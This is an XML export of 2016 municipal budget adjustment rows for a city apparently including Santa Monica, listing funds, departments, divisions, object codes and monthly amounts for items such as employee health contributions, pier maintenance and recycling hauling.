<row _id="20533"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408010.0</object><object_description>REVIEW OF PLANNING APPLICATION</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-8670</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8670</total></row>
<row _id="20534"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="20535"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1100</total></row>
<row _id="20536"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7560</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7560</total></row>
<row _id="20537"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-14300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-14300</total></row>
<row _id="20538"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-21519</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21519</total></row>
<row _id="20539"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-8764</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8764</total></row>
<row _id="20540"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-72589</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-72589</total></row>
<row _id="20541"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-3614</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3614</total></row>
<row _id="20542"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-3954</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3954</total></row>
<row _id="20543"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20544"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3325</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3325</total></row>
<row _id="20545"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>187</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>187</total></row>
<row _id="20546"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>838</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>838</total></row>
<row _id="20547"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20548"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>48730</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>48730</total></row>
<row _id="20549"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533240.0</object><object_description>PIER MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>360400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>360400</total></row>
<row _id="20550"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14300</total></row>
<row _id="20551"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>573875</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>573875</total></row>
<row _id="20552"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>255648</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>255648</total></row>
<row _id="20553"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>286</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>286</total></row>
<row _id="20554"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500</total></row>
<row _id="20555"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402510.0</object><object_description>COMM &amp; TRIBUTE PROG</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-25000</total></row>
<row _id="20556"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409001.0</object><object_description>CHILDCARE-SEPTEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20557"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409003.0</object><object_description>CHILDCARE-NOVEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20558"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409023.0</object><object_description>ENRICHMENT-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20559"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>745</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>745</total></row>
<row _id="20560"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409030.0</object><object_description>CAMP SANTA MONICA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20561"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409053.0</object><object_description>MIDDLE SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20562"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556160.0</object><object_description>SOLD URNS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9846</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9846</total></row>
<row _id="20563"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>339447</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>339447</total></row>
<row _id="20564"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>895</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>895</total></row>
<row _id="20565"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13394</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13394</total></row>
<row _id="20566"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20225</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20225</total></row>
<row _id="20567"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>407240.0</object><object_description>TRANS MGMT BLDG PLAN CHECK</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-159691</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-159691</total></row>
<row _id="20568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>400601.0</object><object_description>REVIEW OF PUBLIC ROW APPLICATI</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-111086</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-111086</total></row>
<row _id="20569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>566610.0</object><object_description>PROCESS &amp; HAULING EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2600000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2600000</total></row>
<row _id="20570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405670.0</object><object_description>HBP-FHWA PIER BRIDGE</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-400000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-400000</total></row>
<row _id="20571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-11838</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11838</total></row>
<row _id="20572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-13484</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-13484</total></row>
<row _id="20573"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-14746</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-14746</total></row>
<row _id="20574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-180931</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-180931</total></row>
<row _id="20575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-41429</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-41429</total></row>
<row _id="20576"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7365</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7365</total></row>
<row _id="20577"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-24435</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24435</total></row>
<row _id="20578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-8644</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8644</total></row>
<row _id="20579"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-18852</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-18852</total></row>
<row _id="20580"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-25590</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-25590</total></row>
<row _id="20581"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-5733</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5733</total></row>
